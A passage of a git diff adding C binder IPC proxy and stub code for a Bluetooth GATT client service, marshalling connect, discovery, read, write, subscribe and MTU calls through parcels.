+ stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_DISCONNECTED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattClientCallbacks_onDiscovered(void* handle, gatt_status_t status, bt_uuid_t* uuid, uint16_t start_handle, uint16_t end_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUuid(parcelIn, uuid); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)start_handle); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)end_handle); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_DISCOVERED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattClientCallbacks_onMtuExchange(void* handle, gatt_status_t status, uint32_t mtu) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)mtu); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_MTU_EXCHANGE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattClientCallbacks_onRead(void* handle, gatt_status_t status, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_READ, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattClientCallbacks_onWritten(void* handle, gatt_status_t status, uint16_t attr_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)status); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_WRITTEN, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtGattClientCallbacks_onNotified(void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = if_gattc_get_remote(handle); + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_GATT_CLIENT_NOTIFIED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const gattc_callbacks_t static_gattc_cbks = { + sizeof(static_gattc_cbks), + BpBtGattClientCallbacks_onConnected, + BpBtGattClientCallbacks_onDisconnected, + BpBtGattClientCallbacks_onDiscovered, + BpBtGattClientCallbacks_onRead, + BpBtGattClientCallbacks_onWritten, + BpBtGattClientCallbacks_onNotified, + BpBtGattClientCallbacks_onMtuExchange, +}; + +const gattc_callbacks_t* BpBtGattClientCallbacks_getStatic(void) +{ + return &static_gattc_cbks; +} diff --git a/service/ipc/binder/src/gattc_callbacks_stub.c b/service/ipc/binder/src/gattc_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..0a44cc981e64d6c2c5503ab8c0fd66cc20221b34 --- /dev/null +++ b/service/ipc/binder/src/gattc_callbacks_stub.c @@ -0,0 +1,244 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "binder_utils.h" +#include "gattc_callbacks_stub.h" +#include "gattc_proxy.h" +#include "gattc_stub.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_GATT_CLIENT_CALLBACK_DESC "BluetoothGattClientCallback" + +static const AIBinder_Class* kIBtGattClientCallbacks_Class = NULL; + +static void* IBtGattClientCallbacks_Class_onCreate(void* arg) +{ + BT_LOGD("%s", __func__); + return arg; +} + +static void IBtGattClientCallbacks_Class_onDestroy(void* userData) +{ + BT_LOGD("%s", __func__); +} + +static binder_status_t IBtGattClientCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtGattClientCallbacks* cbks = AIBinder_getUserData(binder); + bt_address_t addr; + + switch (code) { + case ICBKS_GATT_CLIENT_CONNECTED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_connected) + cbks->callbacks->on_connected(cbks, &addr); + break; + } + case ICBKS_GATT_CLIENT_DISCONNECTED: { + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_disconnected) + cbks->callbacks->on_disconnected(cbks, &addr); + break; + } + case ICBKS_GATT_CLIENT_DISCOVERED: { + uint32_t status; + bt_uuid_t uuid; + uint32_t start_handle; + uint32_t end_handle; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuid(in, &uuid); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &start_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &end_handle); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_discovered) + cbks->callbacks->on_discovered(cbks, status, &uuid, (uint16_t)start_handle, (uint16_t)end_handle); + break; + } + case ICBKS_GATT_CLIENT_MTU_EXCHANGE: { + uint32_t status; + uint32_t mtu; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &mtu); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_mtu_exchange) + cbks->callbacks->on_mtu_exchange(cbks, status, mtu); + break; + } + case ICBKS_GATT_CLIENT_READ: { + uint32_t status; + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_read) + cbks->callbacks->on_read(cbks, status, (uint16_t)attr_handle, value, (uint16_t)length); + free(value); + break; + } + case ICBKS_GATT_CLIENT_WRITTEN: { + uint32_t status; + uint32_t attr_handle; + + stat = AParcel_readUint32(in, &status); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_written) + cbks->callbacks->on_written(cbks, status, (uint16_t)attr_handle); + break; + } + case ICBKS_GATT_CLIENT_NOTIFIED: { + uint32_t attr_handle; + uint8_t* value; + uint32_t length; + + stat = AParcel_readUint32(in, &attr_handle); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &length); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByteArray(in, (void*)&value, AParcelUtils_byteArrayAllocator); + if (stat != STATUS_OK) + return stat; + + if (cbks->callbacks && cbks->callbacks->on_notified) + cbks->callbacks->on_notified(cbks, (uint16_t)attr_handle, value, (uint16_t)length); + free(value); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtGattClientCallbacks_getBinder(IBtGattClientCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtGattClientCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtGattClientCallbacks_Class) { + kIBtGattClientCallbacks_Class = AIBinder_Class_define(BT_GATT_CLIENT_CALLBACK_DESC, IBtGattClientCallbacks_Class_onCreate, + IBtGattClientCallbacks_Class_onDestroy, IBtGattClientCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtGattClientCallbacks_Class); +} + +IBtGattClientCallbacks* BtGattClientCallbacks_new(const gattc_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtGattClientCallbacks* cbks = malloc(sizeof(IBtGattClientCallbacks)); + + clazz = AIBinder_Class_define(BT_GATT_CLIENT_CALLBACK_DESC, IBtGattClientCallbacks_Class_onCreate, + IBtGattClientCallbacks_Class_onDestroy, IBtGattClientCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtGattClientCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtGattClientCallbacks_delete(IBtGattClientCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/gattc_proxy.c b/service/ipc/binder/src/gattc_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..9bc059fd43f45351612692a18bd12a2e1f6f1c61 --- /dev/null +++ b/service/ipc/binder/src/gattc_proxy.c @@ -0,0 +1,583 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" + +#include "gattc_proxy.h" +#include "gattc_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtGattClient_createConnect(BpBtGattClient* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t handle; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IGATT_CLIENT_CREATE_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &handle); + if (stat != STATUS_OK) + return NULL; + + return (void*)handle; +} + +bt_status_t BpBtGattClient_deleteConnect(BpBtGattClient* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_DELETE_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_connect(BpBtGattClient* bpBinder, void* handle, bt_address_t* addr, ble_addr_type_t addr_type) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)addr_type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_CONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_disconnect(BpBtGattClient* bpBinder, void* handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_DISCONNECT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_discoverService(BpBtGattClient* bpBinder, void* handle, bt_uuid_t* filter_uuid) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t state; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUuid(parcelIn, filter_uuid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_DISCOVER_SERVICE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &state); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return state; +} + +bt_status_t BpBtGattClient_getAttributeByHandle(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle, gatt_attr_desc_t* attr_desc) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t desc_handle; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + if (!attr_desc) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_GET_ATTRIBUTE_BY_HANDLE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &desc_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + attr_desc->handle = desc_handle; + + stat = AParcel_readUuid(parcelOut, &attr_desc->uuid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &attr_desc->type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &attr_desc->properties); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_getAttributeByUUID(BpBtGattClient* bpBinder, void* handle, bt_uuid_t* attr_uuid, gatt_attr_desc_t* attr_desc) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t desc_handle; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + if (!attr_desc) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUuid(parcelIn, attr_uuid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_GET_ATTRIBUTE_BY_UUID, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &desc_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + attr_desc->handle = desc_handle; + + stat = AParcel_readUuid(parcelOut, &attr_desc->uuid); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &attr_desc->type); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &attr_desc->properties); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_read(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_READ, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_write(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_WRITE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_writeWithoutResponse(BpBtGattClient* bpBinder, void* handle, uint16_t attr_handle, uint8_t* value, uint16_t length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)attr_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeByteArray(parcelIn, (const int8_t*)value, length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_WRITE_WITHOUT_RESPONSE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_subscribe(BpBtGattClient* bpBinder, void* handle, uint16_t value_handle, uint16_t cccd_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)value_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cccd_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_SUBSCRIBE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_unsubscribe(BpBtGattClient* bpBinder, void* handle, uint16_t value_handle, uint16_t cccd_handle) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)value_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cccd_handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_UNSUBSCRIBE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_exchangeMtu(BpBtGattClient* bpBinder, void* handle, uint32_t mtu) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)mtu); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_EXCHANGE_MTU, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtGattClient_updateConnectionParameter(BpBtGattClient* bpBinder, void* handle, uint32_t min_interval, uint32_t max_interval, uint32_t latency, + uint32_t timeout, uint32_t min_connection_event_length, uint32_t max_connection_event_length) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t status; + + if (!bpBinder || !bpBinder->binder) + return BT_STATUS_PARM_INVALID; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)handle); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)min_interval); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)max_interval); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)latency); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)timeout); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)min_connection_event_length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)max_connection_event_length); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IGATT_CLIENT_UPDATE_CONNECTION_PARAM, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} diff --git a/service/ipc/binder/src/gattc_stub.c b/service/ipc/binder/src/gattc_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..929424ea1f76a9740d7beaecc13c04aa302fd39f --- /dev/null +++ b/service/ipc/binder/src/gattc_stub.c @@ -0,0 +1,467 @@ +/**************************************************************************** + * Copyright (C) 